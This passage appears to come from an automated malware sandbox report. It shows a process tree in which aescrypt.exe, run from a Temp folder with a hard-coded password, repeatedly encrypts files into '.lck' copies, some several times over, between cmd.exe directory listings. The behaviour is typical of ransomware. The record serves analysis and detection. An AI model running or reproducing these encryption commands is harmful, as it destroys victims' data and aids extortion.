                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6420
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "BleachGap.bin.exe.lck" "BleachGap.bin.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Microsoft.lck" "Microsoft"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6468
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "tmp731C.tmp.lck" "tmp731C.tmp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "tmp6C1E.tmp.lck" "tmp6C1E.tmp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6508
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "tmp6E6F.tmp.lck" "tmp6E6F.tmp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4028
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "tmp702E.tmp.lck" "tmp702E.tmp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6620
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c dir * /aD /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6656
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck" "aescrypt.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6688
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck" "DiscordSendWebhook.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6772
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck" "aescrypt.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6752
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck" "aescrypt.exe.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6724
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck" "DiscordSendWebhook.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6760
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck" "DiscordSendWebhook.exe.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6780
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6804
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck" "aescrypt.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6872
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck" "aescrypt.exe.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6876
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck" "aescrypt.exe.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6856
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck" "DiscordSendWebhook.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6828
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck" "DiscordSendWebhook.exe.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6864
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6884
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6908
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck" "aescrypt.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6944
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck" "aescrypt.exe.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6924
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck" "aescrypt.exe.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck.lck" "aescrypt.exe.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck" "DiscordSendWebhook.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6992
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck" "DiscordSendWebhook.exe.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7032
